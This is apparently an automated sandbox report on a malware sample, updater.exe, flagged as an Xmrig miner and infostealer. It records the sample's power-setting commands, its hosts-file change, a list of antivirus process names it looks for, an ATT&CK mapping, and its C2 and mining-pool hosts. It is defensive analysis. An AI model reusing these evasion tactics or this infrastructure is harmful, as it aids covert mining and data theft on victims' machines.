Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\Desktop\updater.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: conhost.exe, 00000027.00000002.3249654814.000002862EC75000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3249975523.000002862F604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MCSHIELD.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EC75000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3249975523.000002862F604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avguard.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EC75000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3249975523.000002862F604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cfp.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EC75000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3249975523.000002862F604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: msmpeng.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EC75000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3249975523.000002862F604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aswupdsv.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EC75000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3249975523.000002862F604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mcshield.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EC75000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3249975523.000002862F604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVENGINE.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EC75000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3249975523.000002862F604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avkwctl.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EC75000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3249975523.000002862F604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fsav32.exe
Source: conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EC75000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3249975523.000002862F604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ZLCLIENT.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EC75000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3249975523.000002862F604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ashServ.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EC75000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2716686455.000002862EC57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3249975523.000002862F604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ashwebsv.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EBE2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xcommsvr.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EBE2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Procmon.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EBE2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fsdfwd.exe
Source: conhost.exe, 00000027.00000002.3249654814.000002862EBE2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avgemc.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	11 Windows Service	11 Windows Service	1 Masquerading	OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Service Execution	1 DLL Side-Loading	111 Process Injection	1 File and Directory Permissions Modification	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Disable or Modify Tools	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	31 Virtualization/Sandbox Evasion	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Process Injection	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	4 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	5 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
updater.exe	66%	ReversingLabs	Win64.Infostealer.Tinba

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\Google\Chrome\updater.exe	66%	ReversingLabs	Win64.Infostealer.Tinba
C:\Windows\Temp\maoxoafwbtki.sys	5%	ReversingLabs

Source	Detection	Scanner	Label
https://pastebin.com/raw/HpN5DV4T	0%	Avira URL Cloud	safe
http://koldiv.ru	100%	Avira URL Cloud	malware
https://pastebin.com/raw/xhASwz5fX	0%	Avira URL Cloud	safe
http://koldiv.ru/api/endpoint.php	100%	Avira URL Cloud	malware
http://koldiv.ruCESSOR_REVI	0%	Avira URL Cloud	safe
http://koldiv.ru/http://koldiv.ru	100%	Avira URL Cloud	malware
https://pastebin.com/raw/xhASwz5f	0%	Avira URL Cloud	safe
https://pastebin.com/raw/xhASwz5fRunning	0%	Avira URL Cloud	safe
https://xmrig.com/docs/algorithms	0%	Avira URL Cloud	safe
https://172.94.1q	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
xmr.2miners.com	162.19.139.184	true	false	unknown
pool-fr.supportxmr.com	141.94.96.71	true	false	unknown
koldiv.ru	77.222.57.251	true	false	unknown
pastebin.com	104.20.4.235	true	true	unknown
pool.supportxmr.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/xhASwz5f	false	Avira URL Cloud: safe	unknown
http://koldiv.ru/http://koldiv.ru	false	Avira URL Cloud: malware	unknown
http://koldiv.ru/api/endpoint.php	false	Avira URL Cloud: malware	unknown
https://pastebin.com/raw/HpN5DV4T	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/xhASwz5fRunning	conhost.exe, 00000027.00000003.2414280384.000002862EC60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://koldiv.ruCESSOR_REVI	conhost.exe, 00000027.00000003.2414325891.000002862EC26000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/xhASwz5fX	conhost.exe, 00000027.00000003.2152302371.000002862EC26000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2414325891.000002862EC26000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://172.94.1q	conhost.exe, 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://koldiv.ru	conhost.exe, 00000027.00000003.2414280384.000002862EC60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://xmrig.com/docs/algorithms	conhost.exe, 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
141.94.96.195	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
104.20.4.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
162.19.139.184	xmr.2miners.com	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
77.222.57.251	koldiv.ru	Russian Federation	44112	SWEB-ASRU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1478400
Start date and time:	2024-07-22 15:44:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	updater.exe
Detection:	MAL
Classification:	mal100.troj.adwa.spyw.evad.mine.winEXE@59/13@4/4
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target conhost.exe, PID 5596 because there are no executed function
Execution Graph export aborted for target updater.exe, PID 1896 because it is empty
Execution Graph export aborted for target updater.exe, PID 6300 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
VT rate limit hit for: updater.exe

Simulations

Behavior and APIs

Time	Type	Description
09:44:59	API Interceptor	32x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
141.94.96.195	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse	pool.supportxmr.com/favicon.ico
104.20.4.235	envifa.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_kofce_.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Update on Payment.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
162.19.139.184	iCp2Rcgw44.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	Krnl.exe	Get hash	malicious	Xmrig	Browse
	cybXkFC5nF.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse
	Arceus.exe	Get hash	malicious	Xmrig	Browse
	i3LIe5GBgd.exe	Get hash	malicious	Xmrig	Browse
	RA95ALDCS9.exe	Get hash	malicious	RedLine, Xmrig	Browse
	SecuriteInfo.com.Win32.Evo-gen.1231.21474.exe	Get hash	malicious	Vidar, Xmrig	Browse
	SecuriteInfo.com.Trojan.DownLoader45.1081.7048.8713.exe	Get hash	malicious	Xmrig	Browse
	RemiTool v2.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	DeqcE30sLb.exe	Get hash	malicious	DCRat	Browse	172.67.19.24
	Mx0UGSI897.exe	Get hash	malicious	DCRat	Browse	104.20.3.235
	eE1xnwas4F.exe	Get hash	malicious	LummaC	Browse	104.20.3.235
	conhost.exe	Get hash	malicious	Xmrig	Browse	104.20.3.235
	SecuriteInfo.com.Win64.Evo-gen.29709.21053.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	Software1.30.1.exe	Get hash	malicious	RedLine, Xmrig	Browse	172.67.19.24
	Loader.exe	Get hash	malicious	LummaC, Xmrig	Browse	104.20.3.235
	updater.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	COMPROVANTE DE PAGAMENTO.ppam	Get hash	malicious	RevengeRAT	Browse	104.20.3.235
	sostener.vbs	Get hash	malicious	Remcos	Browse	172.67.19.24
xmr.2miners.com	iCp2Rcgw44.exe	Get hash	malicious	Xmrig	Browse	162.19.139.184
	file.exe	Get hash	malicious	Xmrig	Browse	162.19.139.184
	Krnl.exe	Get hash	malicious	Xmrig	Browse	162.19.139.184
	cybXkFC5nF.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	162.19.139.184
	Arceus.exe	Get hash	malicious	Xmrig	Browse	162.19.139.184
	i3LIe5GBgd.exe	Get hash	malicious	Xmrig	Browse	162.19.139.184
	RA95ALDCS9.exe	Get hash	malicious	RedLine, Xmrig	Browse	162.19.139.184
	SecuriteInfo.com.Win32.Evo-gen.1231.21474.exe	Get hash	malicious	Vidar, Xmrig	Browse	162.19.139.184
	SecuriteInfo.com.Trojan.DownLoader45.1081.7048.8713.exe	Get hash	malicious	Xmrig	Browse	162.19.139.184
	RUN.exe	Get hash	malicious	Babadeda	Browse	162.19.139.184
pool-fr.supportxmr.com	xjSglbp263.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	gwRQinPOHB.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	FieroHack.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	FieroHack.exe	Get hash	malicious	LummaC, Xmrig	Browse	141.94.96.195
	gVRqUej0ci.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	h2UFp4aCRq.exe	Get hash	malicious	LoaderBot, Xmrig	Browse	141.94.96.144
	setup.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	141.94.96.71
	SecuriteInfo.com.Win32.Evo-gen.18867.15916.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse	141.94.96.71
	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse	141.94.96.195

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SWEB-ASRU	AbvmEnagz3.exe	Get hash	malicious	DCRat	Browse	77.222.62.219
	ppXCre3i9k.exe	Get hash	malicious	DCRat	Browse	77.222.57.208
	http://hostaruba0.temp.swtest.ru/008997/areautenti/login.php	Get hash	malicious	HTMLPhisher	Browse	77.222.57.208
	4y2bJd0meT.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	77.222.62.71
	http://fansharf.ru	Get hash	malicious	Unknown	Browse	77.222.61.25
	xdUF3ppIU4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	77.222.62.71
	GC_Invoice_02052024_docs.exe	Get hash	malicious	FormBook, GuLoader	Browse	77.222.57.185
	STATEMENT_OF_ACCOUNT_xlxs.exe	Get hash	malicious	FormBook, GuLoader	Browse	77.222.57.185
	http://salesrent5.temp.swtest.ru/app/MTTRBDFH/index.php?FGDD=1	Get hash	malicious	Unknown	Browse	77.222.62.71
	cZKS6afo0o.exe	Get hash	malicious	DCRat	Browse	77.222.40.147
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	http://nys-ns.com/	Get hash	malicious	Unknown	Browse	141.95.124.137
	http://nys-ns.com/	Get hash	malicious	Unknown	Browse	141.95.124.137
	ZPPEqPIBy7.elf	Get hash	malicious	Unknown	Browse	130.133.207.43
	D8J2VuFPRL.rtf	Get hash	malicious	FormBook	Browse	141.95.110.31
	Pn0jlaHvxE.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.99.20.144
	1gx339YsKN.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.88.171.81
	faBNhIKHq4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.89.138.130
	ts2d2a5oFa.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	141.36.140.1
	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	141.32.20.220
	92.249.48.47-skid.ppc-2024-07-20T09_04_20.elf	Get hash	malicious	Mirai, Moobot	Browse	160.45.212.106
CLOUDFLARENETUS	ATT96885.htm	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://liceultehnologicrosiajiu.ro/ulin/ulin8ce.html	Get hash	malicious	CVE-2024-21412	Browse	104.16.230.132
	QVA-8288-9779ZPT.exe	Get hash	malicious	Unknown	Browse	172.67.182.157
	https://trk.klclick3.com/ls/click?upn=u001.F5FUvNp8lGuVBrfF8VWSt-2Befrq4JwHZUrXxYUllvBu6JQLRTleNqoOq9cK2V6H9nF6TE8i5ai18ELwuaCRLRwA-3D-3DeBON_1svWsHF9QtKh6I35BSRfJziCtreSweSmmjNgxUuzWxLFgb12Ddkvv3gPW-2BY7HCV4BtwDYPCgqFm6ezf3LGkFgw-2FasXzQ01tiusM7qj7f7wQzyFpk04U-2BNsOiH-2B6C0IEGGhuBHlH4nFGk5hM1YrilA-2FklNstU7j1vcFJG8iHzTeSRYHOXIpK0cVyPDdeQeDUKiYrTYys-2FJ6BSjWfQuGIzI8V57VImtAPAAkrpuUD31VELoL-2FwLqoqcEcJaE-2B6fpm2wPTZkCul8wgxqc4qQClvNSQEUdlWOW-2BnsmWvhHzUvBgdPRhNpiRMg8ZZ-2BBQBoSFlRkufcGBk8zdT6H-2B-2FULHcbxzCKE71NmfbhvHZ7lmXl2A-3D	Get hash	malicious	Tycoon2FA	Browse	104.17.25.14
	https://important-invite.ru/invitersvp/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.google.com.au/url?q=//www.google.co.nz/amp/s/clientdevelopmentserver.com/secure/documentattached.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Play__Now___Aud_for_matthew.whistler@holcim.com.html	Get hash	malicious	Unknown	Browse	104.21.88.106
	https://automarketjobs.com/visionrepartners/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	25bbed456281ea6f37cb6b295ebd0d1764156e797b4f15e0dc1bbcd7342086a9_payload.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://kwxciujqil.joseph-mathieu.workers.dev/?lneigvrscbp=Y25wZ2xhbW91ci1idXNpbmVzc0Bjb25kZW5hc3QuY29t	Get hash	malicious	Unknown	Browse	172.67.135.145
CENTURYLINK-US-LEGACY-QWESTUS	http://ages-dedressmii-pertaminna-resmii.rexz.my.id/	Get hash	malicious	Unknown	Browse	162.19.58.161
	http://reedempayml.ogr.my.id/	Get hash	malicious	HTMLPhisher	Browse	162.19.58.159
	mips.elf	Get hash	malicious	Mirai	Browse	184.6.30.91
	arm.elf	Get hash	malicious	Mirai	Browse	174.17.126.251
	https://5228753.webku.buzz/	Get hash	malicious	Unknown	Browse	162.19.58.157
	https://34274421.webku.buzz/	Get hash	malicious	Unknown	Browse	162.19.58.159
	https://shadow-rapid-sunday.glitch.me/public/nfcu703553.HTML	Get hash	malicious	HTMLPhisher	Browse	162.19.58.159
	Suav289vuI.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	67.238.37.116
	faBNhIKHq4.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	72.166.124.103
	U6YcZ2TLtT.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	63.149.53.202

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\maoxoafwbtki.sys	SecuriteInfo.com.Win32.Malware-gen.6320.5781.exe	Get hash	malicious	Xmrig	Browse
	xjSglbp263.exe	Get hash	malicious	Xmrig	Browse
	gwRQinPOHB.exe	Get hash	malicious	Xmrig	Browse
	3YHDfHLvo4.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	conhost.exe	Get hash	malicious	Xmrig	Browse
	Software1.30.1.exe	Get hash	malicious	RedLine, Xmrig	Browse
	SecuriteInfo.com.Trojan.DownLoader46.63386.25844.4041.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Get hash	malicious	Xmrig	Browse
	Loader.exe	Get hash	malicious	LummaC, Xmrig	Browse
	updater.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\ProgramData\Google\Chrome\updater.exe

Download File

Process:	C:\Users\user\Desktop\updater.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5285888
Entropy (8bit):	6.5439853687656875
Encrypted:	false
SSDEEP:	98304:PESNReLHfx5vk7bqVTrvjNaJrXWTLLE3Lu+h3mo8i5BXdzLnKwUaQJ7:MQUTfxSe5FTLL2Vhd5jzLnKtaS7
MD5:	D82677AC9971E38439A6F8069E8BA5BF
SHA1:	534B60E16989751C4E2252BBBCC38D97B979F2D0
SHA-256:	F981FF1EC7014262015FA7FF9CC01097E98ECEC7385E0828B7D91DDE5B38CE03
SHA-512:	2740AABC53D2E00B72B77F6F20A327CDAA53CA76912ED54A17B0B0FD94802AC90E7CF82210F1CFF84A42897153538CE7F37E6A02D50DB7C427C0295B0D8F3E0A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d..."j.e.........."...........O.....@..........@............................. Q...........`..................................................H..<.............P...............Q.x............................ ..(....$..8...........@J..x............................text............................... ..`.rdata..p0... ...2..................@..@.data...H\|O..`...^O..B..............@....pdata........P.......P.............@..@.00cfg........P.......P.............@..@.tls..........Q.......P.............@....reloc..x.....Q.......P.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
